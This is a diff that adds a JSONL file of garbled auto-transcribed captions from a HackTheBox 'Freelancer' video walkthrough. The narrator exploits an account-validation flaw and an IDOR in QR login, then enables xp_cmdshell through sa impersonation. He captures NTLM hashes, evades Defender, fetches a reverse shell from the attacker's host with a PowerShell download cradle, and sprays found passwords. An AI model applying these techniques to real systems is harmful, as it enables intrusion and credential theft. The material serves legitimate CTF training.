Add HackTheBox_-_Freelancer.jsonl
Browse files
HackTheBox_-_Freelancer.jsonl
ADDED
|
@@ -0,0 +1,97 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{"text": "what's going on YouTube this is IP I'm doing freelancer from hack the box which is a nice hard machine it starts out with the D Jengo web app that has a business logic vulnerability within account registration when anyone registers an account they can't log in because it needs to be validated however if they use the forgot password functionality and successfully reset their password that validated flag will be set and they can log in to the app once in there's a magic link that lets people log in by scanning a QR code on their mobile device this has a idore vulnerability and let us impersonate any user so we impersonate the admin and that also lets us into the Django admin panel that has a way for us to execute Microsoft SQL queries we do a lot of enumeration and discover that we can impersonate the sa user which enables us to uh reenable the XP CMD shell and get", "start": 0.28, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 2 |
+
{"text": "a reverse shell on the box from there we do some memory analysis on a dump file that lets us retrieve passwords use those passwords to log into another account which can recover data from the ad recycle bin and then that will enable eventually to exploit a SE backup privilege in order to extract passwords from the box and log in as administrator there's a unintended path with constrained delegation so a lot to be said let's just jump in as always we're going to start off with an end map so- SCC for default scripts SV enumerate versions dvv for double re this going to give us the TTL OA output all formats put the N map directory and call it freelancer and then the IP address of 1010 111.5 this can take some time to run so I've already ran it looking at the results we have 12 ports open the", "start": 47.079, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 3 |
+
{"text": "first one is DNS on Port 53 and the banner tells us it's simple DNS plus which is the default Banner on a Windows domain controller so I always look down at nmap and confirm yes active directory is installed so we are dealing with a DC we also have HTTP on Port 80 and it's running engine X which is a bit odd I didn't even know engine X supported windows I look at the TTL if cuz I expected this to be like 62 considering if it was a Linux box then um it's probably a VM on this so that would be a 64 TTL it hits Windows 63 hits us 62 but it's 127 so engine X is running on Windows which is bizarre I'm going to Google engine x windows just to confirm it actually supports it and it looks like it does so that is new to me uh we have engine X running on Windows I'm going to guess it's probably like PHP or something like that because if it was an", "start": 92.24, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 4 |
+
{"text": "asp website or net or something it would definitely be on I it being on engine X is a weird curveball looking at the other ports it's all just relative to active director we have keros ldap SMB so nothing too interesting there I do want to add the host name freelancer htb to my host file because it looks like the website is redirecting to it so we'll do pseudo V ety host and then we can add 10 10 115 freelancer htb save that and looking down at the bottom we do have a clock skew of 5 hours so if we do anything curos later on um we'll know to like syn or clock to the server with I think ntpq to set it so we have the same time and um we don't fail any like Cur Rose checks due to time so we don't really have that much to go on we could start with the web server but the web server is generally open-ended we can spend a lot of time on recon there so", "start": 146.48, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 5 |
+
{"text": "when I go against a domain controller I always like starting with SMB because I just want to list open shares so I'm going to do n C SMB 101011 do was it four five I think five right and then D- shares and this is just going to list open shares if there's any or if we can authenticate to it we have list index out of range so the next thing we to do is specify the user guest and a blank password and we'll see if guest login is enabled and then I also like just seeing the behavior when you give it a invalid account for some reason guest and invalid account is sometimes different windows I don't know exactly why but um we can't list any shares so I'm going to give up on SMB right now and I guess the quickest thing we could do is um a rever um a Zone transfer with DNS because we do see DNS listing on TCP 53 which does", "start": 203.519, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 6 |
+
{"text": "support Zone transfers I don't think it's enabled by default on Windows but it literally takes a second to check so we're going to do a dig at and then the DNS server and then you have to give it the domain name so we'll do freelancer htb and then axfr to do a Zone transfer and we get a denied or transfer failed so there is no Zone transfer we can't just dump every subdomain we can get rid of that axfr just to make sure we can do a DNS lookup and that does succeed so now that we've done SNP and DNS let's go take a look at the website so we're going to do HTTP freelancer htb and it looks like we got a website so the very first thing I always look at is try to identify the technology that's building the website we could use wyzer and actually that detected Jango right away I don't know exactly how wyzer is detecting jeno but it is discovering it", "start": 257.199, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 7 |
+
{"text": "I'm doing a um search on the page source to see if it says Jango it doesn't uh we could look at the cookies that are set because a lot of times um various Frameworks set a unique cookie like um Express I think is connect. Sid uh flask is just planing out session and what's another one like larvel is lalore session um Jango is going to be session ID but we don't have a cookie yet so that's not how it identified it um really not sure there Jango does have a slash admin normally um so we can go there and we do see this does look like a Jango admin portal and if we look at the cookie now we have csrf token so this is most likely going to be D Jango um another way you could identify framework sometimes is a 404 page so if we just do a page not found this looks like a custom 404 so you can't really tell there but if you want to look more at", "start": 309.68, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 8 |
+
{"text": "cookies um you can just get it from playing with a lot of just Technologies and eventually you memorize it or you can go to chat jippy and then just ask questions right so we're here we could just say um what is the default cookie name for csrf with let's do expressjs first right and this is probably going to tell us I think it's like um probably xsrf token I think it uses let's see C surf middleware the default isore csrf so we can say what about um let's do flask and see what the default cookie there is for csrf token I think it has a dash or an underscore there we go csrf underscore token and then let's just ask at Django right we want to make sure um it's just csrf token and we'll see what chat GPD says there we go just csrf token so this is one way you can kind of just play with various things to", "start": 367.639, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 9 |
+
{"text": "identify um the fingerprints right we could also ask it like what is the default session ID cookie name for Jango and this will probably tell us its session ID and then I'll ask get flask and it'll tell us its session right so these are the types of things I play with when I'm just trying to fingerprint um a web server right so this is is a really powerful way to do it so there we go the thing is you can't always trust it sometimes it gets the answer wrong but nine times out of 10 it's relatively good so we know we're dealing with a Jango website it doesn't really help us all that much we just know there is a SL admin uh we could try the registration so let's go to register and then let's create the account IPC then route at ic.", "start": 426.56, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 10 |
+
{"text": "rocks first name last name address then what are these next things um security questions I feel like this is trying to social engineer me and put my security questions out there in the public we'll just do ipsec for everything and then password we'll do um the super secret password one with the exclamation point at the end accept the terms and register and then let's try logging into the app to see if it lets us do anything so we'll do IPC password one exclamation point um the account is not activated and cannot be so we have to find some way to activate it probably send us email but on hack the Box we don't really have email because there's no DNS or things like that there is a forgot password so we'll click that and see if it lets us do this without email and it's just asking for the security questions so let's try this", "start": 474.599, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 11 |
+
{"text": "I'm going to do IPC for everything and then hit enter and it wants us to reset the password so let's set it to password one and there is a chance when it resets the password it also like changes the flag of um if someone's been like validated right so this would be a business logic vulnerability generally I don't see it that often anymore because a lot of websites have moved away from security questions for good reasons but um when they do ask them this is one of those vulnerabilities for them so now we're logged into the application we could try going back over to SL admin to see if it lets us in we go to SL admin we can try IPC and then password one exclamation point and no it does not so let's take a look at what we can do we can post a new job we go there we have a lot of forms maybe this could be like cross- site", "start": 525.56, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 12 |
+
{"text": "scripting let's go to manage job nothing there all applicants so I'm guessing if we post a job maybe applicants will show up we go to QR code it says use your mobile phone to scan this QR code to log into your account without using any type of credentials so let's download this QR code and see exactly what it looks like so let's save it to um home htb freelancer freelancer PHP u under qr.", "start": 581.279, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 13 |
+
{"text": "PNG um home htb oh home hipc htb freelancer then qr. PNG save that and we can use a program called zart image to convert QR codes right that's the whole purpose of this there's probably a web browser extension you could also install that would automatically do it but I normally just use the command line and doing this we have a um OTP code so if we copy this and then let's go to a incognito window real quick we'll paste it and it logs Us in awesome so let's see what that Bas 64 in this is because it may have like a idore vulnerability right um if we Echo this and then base 64- D we can see um I type WR Echo there it's just 10,10 so this may be like a user ID there's a way to figure out our user ID here we could confirm it let's see if we do my profile does not say it uh contact no let's see there's a Blog normally with blogs", "start": 613.12, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 14 |
+
{"text": "they have blog author and you can normally find them that way so let's see this if we click on Christa Waton she is five I'm going to do 10,10 that is going to be me so we have a way to enumerate valid IDs so if we go to one we get a 404 let's try two uh we have admin and John haland so this is probably going to be what we want to um play with right so let's do a echo 2 base 64 and then Echo again that last Echo just makes it super easy to copy whenever I do base 64 I like just putting that there uh we have M go for two oh we probably have to do a dashn right because that two has a line break in it so there we go mg equals equals so let's go and generate another QR code because they're only good for 5 minutes it says and see if we have an ID vulnerability so accounts profile let's go to QR", "start": 688.24, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 15 |
+
{"text": "code we're going to save this image I'll save it back to QR then let's do a zar again and then mg equals equals we'll delete the base 64 and put that so go here and I'm going to say capital m g equal equal and we get in awesome so the vulnerability here is this onetime pad I'm guessing that's what it's called because we have OTP is valid for anyone right so by default it just puts our ID here and um this gives us a session with that user but there's no checking that we generated this um QR I guess there should be probably some type of signing here so we can't just change this variable um but yeah we just put the ID of two with the little secret onetime pad and it let's just just take the session of administrator so let's see exactly how does this next piece work um we don't have anything new on this side if we go to all applicants manage jobs nothing there let's check the slash", "start": 753.839, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 16 |
+
{"text": "admin and we do just log straight into D Jango because it's using the same exact session for the um user as it is in ad and jeno is it's kind of like a um I don't know exactly how to describe it quickly a super featureful flask so most people watching this are going to be familiar with flask flask is just a bare bone like um web server right doesn't really give you that much D jeno gives you a bunch of default functionality for like the admin panel how do I handle users how do I handle login it's like Laural to PHP right it just gives you um all the backend you need to make a website so we have the developer tool SQL terminal installed so if we go here we can just run straight queries so if I do let's say like show tables see if we can list the tables on this um we don't have a stored procedure for show because this", "start": 828.839, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 17 |
+
{"text": "looks like it's going to be a Microsoft SQL Server so that would probably be like select add at version I want to say is how you enumerate that and there we go we have Microsoft SQL Server 2019 so we can run mssql commands right um is it like select system user is that how do we do user I forget exactly with this there we go we are the freelance web app user on this database um the first thing I generally do is like an exact um XP CMD tree who am I to see if we can run commands on it uh we can't could not find the stored procedure for that we could try um XP dirry to see if we can list files and then we can just list let's say slash when to specify C colon um it looks like the command works but we didn't get any data not sure why but generally my first bet is can we actually make a request back to us because with Windows if you give it a UNC path it'll attempt a ntlm", "start": 884.8, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 18 |
+
{"text": "authentication so I'm just going to do a netcat real quick to see if it connects back and then if it does then we'll run responder right so we'll do execute there we go we get a SMB header so let's run responder so we'll do responder I ton zero do another connection and there we go we have the ntlm hash now normally I would try cracking this it's not going to give us anything so I'm not going to waste time and send this over to the Kraken and try to crack but normally you just run hash cat against this and see if you can get anything the username doesn't end with a dollar sign so there's a good chance if this did end with a dollar sign I probably wouldn't be trying to crack it CU it's most likely a like group manage service account with a super unique password but um that is the first thing I generally do on mssql but we don't", "start": 951.079, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 19 |
+
{"text": "have that so I guess the next thing I would do is try to enumerate the local um tables and dump the users table to see if there's password hashes right so let's Google mssql let's do hack tricks pentesting mssql and then we just kind of want to see how to dump tables right this is msql client there we go so version username we could look at various databases on the box so if we run this command let's see execute here's all the databases we do have the one we knew let's see select star from database name information scheme of tables does this work let's paste this um oops there we go and we'll copy this paste execute and we have all the tables so Jango migrations custom user article job OTP token employer freelancer comments jobs D Jango stuff so I'm going to do probably select star from freelancer Custom user so", "start": 997.68, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 20 |
+
{"text": "let's do that and I'm going to put two dashes there just to comment that so I have it if I want it again so select star from then we can run this command and execute and then we get a bunch of hashes and usernames so I dump this and also just send it over to hashcat to see if it could crack but um doesn't really bi us anything so I'll save the 5 minutes and we'll refrain from doing that so the next thing we would do we have failed to crack ntlm we failed to crack the hashes of the user we wanted to just um run commands on this box right and we couldn't Do XB CMD shell because we didn't have that enabled but is a potential way to enable it so let's see it's like there we go here it is we do a SP configure show Advanced options one reconfigure then XP CMD shell so let's go ahead and try this so we'll do exact I think we have to do exact", "start": 1069.72, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 21 |
+
{"text": "first and then reconfigure and then we run the next one which is this and I think we do exact I'm not positive by that if it fails with a way we don't expect then we'll remove exact so we'll do execute and user does not have permission so we can't reenable XP CMD shell so let's see what else can we do on this so we go over here looking down um let's see XP dirry we already ran that we could try potentially writing to various directories but it's a a python application so I'm not really going to do that if we're in like PHP then we could just drop a PHP shell potentially and get it that way um looking at this we have a query that potentially allows us to impersonate users so let's run this one so if we go back to site Administration paste this in man I really hate how those line numbers get", "start": 1127.76, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 22 |
+
{"text": "in the way we can execute and this is telling us we can impersonate the sa user um let's see how can we get everything if I just delete this we statement what happens execute maybe it's got too many rows limit one wait does mssql not have limit that is bizarre let's see select star limit 1020 with my SQL we row number is between okay let's just try this so we'll paste that we'll row number between we'll do one and five invalid column I am honestly at a loss right here for enumerating this let's see so that's doing joins I wonder if we just do a select star from this okay there we go so let's see the granny principal ID and then Grant tour so this is who can impersonate this is to what and if we look let's see I bet one of these is just going to be um there's the impersonate privilege I bet if we looked granty principal ID", "start": 1195.039, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 23 |
+
{"text": "is um our guy the SQL service what was that command so we did that let's dump all the principles so we're right here on impersonate 267 so let's do another select stf from this I'm not sure why the join didn't work before that's weird but on this query execute that's not working um I wonder if this table has too many rows it's a bit odd let's just try um selecting name does this work okay so maybe we have too many columns for Jango to show in its error um want to say we wanted principal ID because that was what it was called there okay so this is getting all the principal IDs we have freelance web app users 267 and Essay is one so this does show us that um our user does indeed in fact have the impersonate privilege right so 267 that's us we can impers um essay so we don't need these queries", "start": 1298.919, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 24 |
+
{"text": "let's get rid of that and then we want to impersonate a user if we go back here um let's see we have execute as so we can execute as that CA user and then we want to do um let's see I wonder if we can just do select I don't know how to if we do system user um I think that would have been the same anyway right execute we got saay we comment that out okay yeah so we do change who we are so what we can do is take this command again and we're going to execute as then we'll reenable XP CMD shell we got no results so now let's do um exact XP CMD shell who am I ex command and now we can run commands on this box so what we want to do is make sure we can run Powershell so I'll do Powershell who am I same output so this is good let us now try to get a reverse shell so I'm going to make D dub dub dub and then let's copy user share", "start": 1383.559, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 25 |
+
{"text": "um Nang po invoke Powershell right is it just shells invoke power shell TCP on line PS1 and I'll call it rev. PS1 okay so let's go and edit this file uncomment those or delete those there we go we want to put our IP address here so we'll do 10 1048 and then for Port we want 90001 so we can do NC lvmp 901 and since is Windows I like using RL r that gives me the up and down arrow so the last thing I like doing whenever I do shells on Windows I always like using some type of web cradle and the reason why I like doing this is mainly for if there's antivirus so we're doing ex um new new object net. web client download string HTTP 10 1048 uh we're going to Port 8,000 rev. PS1 and this tells us it's antivirus because um normally antivirus won't flag on this web cradle but it may flag on the impact at reverse shell so if we see", "start": 1470.64, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 26 |
+
{"text": "the web server hit our web server but we don't get a shell it's probably antivirus right so um the next thing we need to do is convert this web cradle to base 64 so cat cradle um I convert DT utf16 little Indian this is just how Windows likes it and then B 64 w0 and we can copy this string and then stand up a web server and now we can go back here we say Powershell DC for encoded command and then paste the string um it looks like something reverted the E the enabling XB CMD shell so let's get rid of that then we can comment this again and then run this execute it's taking time hasn't hit us yet execute create process process failed that's odd did not like this base 64 so something's causing the create process to fail I don't know exactly what oh it hit still don't have a shell and pairing module this script has", "start": 1552.96, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 27 |
+
{"text": "been blocked so this is definitely going to be antivirus is blocking it okay so what we want to do is change this up so let's go to rev. PS1 and and previous videos we found out if we just rename all the variables and delete this piece um it'll bypass um basic Defender so let's do that I'm going to make sure I didn't make any edits there and I'm going to use um search and replace to replace variable names we're going to replace client with uh let's do IPC and then let's replace stream with um IP I guess let's see we can replace dollar bytes with we need do dollar bytes we'll do the data okay um dollar data call it real I don't know I'm learning out of names this is one of my least favorite Parts um send back this has actually two we got a send back and a send back two right here so I always start with send back two first and we can call this one uh we'll call it", "start": 1644.52, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 28 |
+
{"text": "sb2 and then send back we need do dollar I'll call this um the sender again all we're doing is changing the signature of this because I don't know exactly where what Powershell Flags but it's got a few strings in this that it just detects right um I think we want to delete this and I don't know if I did send bite we'll do percent s send bite with um send b hopefully I did not break the script so we'll save that run this again and then I probably need to run this SP configure again to reenable XP CMD shell we'll run the same thing execute create process failed I guess it really doesn't like this base 64 if I spam click cck does that work again no um let's change up a web cradle so we don't have to do I ex we can do well we need IEX because this is invoke expression that's going to be what runs it but we don't need this new object", "start": 1729.96, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 29 |
+
{"text": "thing we could change it to invoke web request and then you do use basic parsing then the URL so HTP 101048 Port 8000 rev. PS1 maybe this will be better cuz it's just different let's now convert this we'll run this command copy paste exec we need to start the server run it something is I wonder if it's because we don't have a space after that I bet that was it um we didn't do Dash Das bace apparently so I think that's what was causing it to break but we did get a hit and a shell comes back we do enter we can see the PS option we do who am I we are freelancer SQL service now the first thing I always check is a who am iall and try to identify um if we have SC impersonator any dangerous pages does not look like we do so um we also have curro support for dynamic access control and this device has been disabled I don't know if that's normal or not um it's a weird", "start": 1813.279, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 30 |
+
{"text": "error message or weird message so let's do a Di and we just have I guess we're in system 32 yep so you can do CDD um di apps di engine X let's go HTML index let's see sites enabled freelancer do config or conf see it's going to local hostport 8000 and it goes to C colon app freelancer static so can we go in this directory looks like we can not so I don't think we have permission to go into freelancer we're probably getting access denied right here on CD apps do PWD nope we just don't have any permission once we get in here so what else can we do um since we know Defenders on the box win peas isn't going to just um work on it I guess we could try um an SMB server and running win peas from SMB I actually don't know if defender's going to flag that um but I know Defender won't let us run it on", "start": 1898.48, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 31 |
+
{"text": "like the Box itself so we could try like CD program data we go in dubdub dub let's do CP opt PS win peas um we can start the web server back up and then curl HTTP 101048 8,000 d o we'll call it p.", "start": 1984.399, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 32 |
+
{"text": "this should download if we try to execute it thinks about it is it going to come back I really don't think it will do a DI it does not execute I think eventually um the file will just disappear but Defender is blocking us from running this at least that's what my assump there we go it's gone so I wonder if we execute it right away does that anything I don't think it does but I don't know I honestly don't know what's going to happen if we try to run it from ANB share so let's try that the first thing we do is set up impacket so we'll do pseudo um I think it's impacket SMB server there we go then we want to do smb2 support and I think it's the share name and the directory let's do- real quick cuz I don't fully remember this one so we want to do the share name and then the path so to do share name of files in the path", "start": 2009.2, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 33 |
+
{"text": "we'll just do PWD and then we can say new PS Drive PS provider file system we'll give it the drive name of IPC and the root is going to be at 10 1048 and we said slash files and we see it trying to connect looks like the user connected successfully CD ipac um does not look like it see is there a way to get like an error message to at Dev like that there we go so we just directed standard um error to out and it says this doesn't exist or is not a folder huh net use 10 1048 did we say files was the share we did share name and path see colon that is odd I don't know why this mount isn't working um SMB client DL 1271 see PS provider name rout I wonder if we need to put a credential because sometimes Windows blocks it with like an anonymous account but it's not what this looks like see if I do this now", "start": 2079.119, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 34 |
+
{"text": "it just melted this is one of the most berser things I've seen okay let's set a credential real quick um Das username ic- password uh we'll do please subscribe okay so now we want to add the password here so we can say pass is equal to Please Subscribe like that and then convert to secure string as plain text force and now we can say cred is equal to new object um system management automation PS credential and then the username was IPC and the password is this so now we have a credential object this shell is really wonky that I can't just see everything um new PS Drive do that and then Dash credential cred going do name I'll go to xville and it still looks like it's airing see net use C colon 10148 files IPC is it net use with username I think it's like SL user colon see net use user then please", "start": 2218.839, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 35 |
+
{"text": "subscribe oh my God I think we finally got it sweet we're finally mounted I don't know why I screwed up with my power shell command but this is why it always is helpful to know multiple ways to do things so running wind peas off of a SMB share let's see if it works it's taking longer but I don't know if that means it's working or it's just downloading to a temporary location and then Defender is going to flag it um this looks promising so I'm going to pause the video and we'll resume whenever this command finishes because honestly I don't know what's going on right now okay so unfortunately that did not work either so we're just left the hard way of mainly enumerating this box if we do who am I we are SQL service so we could go into um the users I think we're in program data right now so let's go CD", "start": 2362.2, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 36 |
+
{"text": "back slash CD users and we could go into our directory so let's do CD SQL service and then we could mainly look at like the desktop to see if there's anything here you can go in downloads and then we can see the SQL Express installation so we can go into this directory and then notice there is a configuration file so if we look at this if we do a type on it we can get a SQL service password now I really don't like the just mly searching the directory what we could have done is um like a get child item from this directory so we're going to get every single file in here and go into it and read it um we're going to specify recurse so we go into directories and then the error action we're going to do silently continue and then we just want to specify what extensions we want cuz we don't want to", "start": 2419.2, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 37 |
+
{"text": "do a get um child item of like exes and things like that so we could say like um any let's do yl um Powershell and CFG so we're going to get every um pretty much cat and all these files is what we're doing and then we can say select string of pass and this is shows us um this file has this so how it worked is go into the configs GP for the word pass and this is case insensitive and it shows us that SQL configuration so we have I love aarin Jer so let's go back and um do a type to look at the user here so CD and then downloads SQL typ this if you did a Google on this file it's just um for a silent install of Microsoft SQL so you put this file with the configuration you want you tell it to install it reads it and doesn't ask you for any prompts so we have the password for the SQL service user um we", "start": 2482.04, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 38 |
+
{"text": "could now do like net exac SMB 10101 5-u um what was it SQL uncore service let's just copy and paste this- P put the password in quotes and if we have authentication successful huh we don't SQL SVC so maybe the password's been changed since um that I expected a success there uh we could try the temporary password as well to see if this works so we can say temporary password and no so I'm going just do passwords do textt let's put that there and then we also want to grab the other one uh there it is okay okay so we got the passwords there we need to get a list of users on the box we could just do net user but it doesn't copy and paste well because it's like that we could just also do get a user filter star then do select uh Sam account name and now we have a list of all the users so we can grab this go over here V users. text", "start": 2565.8, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 39 |
+
{"text": "um wrong clipboard there we go and now we can go back to our SQL map or not SQL map um net exec and say user. text P password. text and do a big spray and I'm also going to say um continue on success because by default net exec is going to stop soon as it has a sucess successful login um I want to keep going so we have one we have masassa hackerman with I love Aaron Jagger but let's see if there is anything else so I'm going to pause the video and we'll let this run because it's got to go through all the users twice because we gave it two passwords okay now that that's done we can see we only have that one user so we can go up eventually we'll see one of those passwords of Aaron Jager but if you didn't want to look at the output um net exac also does have the database that not many people really use that much if we do nxc DB we", "start": 2668.0, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 40 |
+
{"text": "can go in the database and then we want to set the protocol to SMB and if we do creds we can dump it that way and then you can also specify the cred with the- ID so if we do um whoops - id1 it'll automatically use this one right we can do D- shares so this is another way of just using that exact it doesn't say pwned so we can't um just get like a PS exact shell we could try wi RM but this is not going to work because every protocol um has a different credential ID unfortunately so we could just do dasu um masassa acran and- P we'll copy and paste this one and hopefully we type it correctly but um looks like winm does not work I'm just going going to copy and paste this in case I made a type on the username because I am known to do that that's why I like the whole ID field because it just saves time from copy and pasting so does not work but we", "start": 2731.0, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 41 |
+
{"text": "can still get a shell with um run as right we've shown that tool a few times so let's go to Google run as CS GitHub and we'll download this and thankfully this one does not um get flagged by Defender so we can just run this straight on the Bo so we'll download this let's save it to dubdub dub okay and then let's see PWD we want to go into program data that's just where I like to extract things often um let's see we want to go in here let's do unzip run as and we already have our SMB server running so we can just do a CP so zon back slash run as cs. exe we probably want to make sure this is Cas sensitive because it is SB server on Linux I don't know if that is case sensitive but there we go we're copying run as over to our box we can do RL RP NC ovmp 901 and when this finishes copying we'll execute it and I always like just copying the binary down to the", "start": 2799.88, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 42 |
+
{"text": "server and then running it there because if you try to run it off the share just weird things happen um because it's like high latency and things like that I wouldn't use like impacket for that if I was executing files off of share I would actually edit the like sber configuration and just use the SMB server that's built into Linux because it's a bit more stable uh but let's do run.exe and then we want to get the username and password so we'll do um masassa and I love Aaron gagger I wonder if the other password can be Attack on Titan references so we'll do CMD shell reverse 101 148 901 and this should get the share um if this didn't work if we're on like a Windows uh client i' would specifi the domain of freelancer htb but you don't have to specify the domain when you're on the domain controller cuz every account is pretty much a local account right uh we could have also got a poers", "start": 2874.119, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 43 |
+
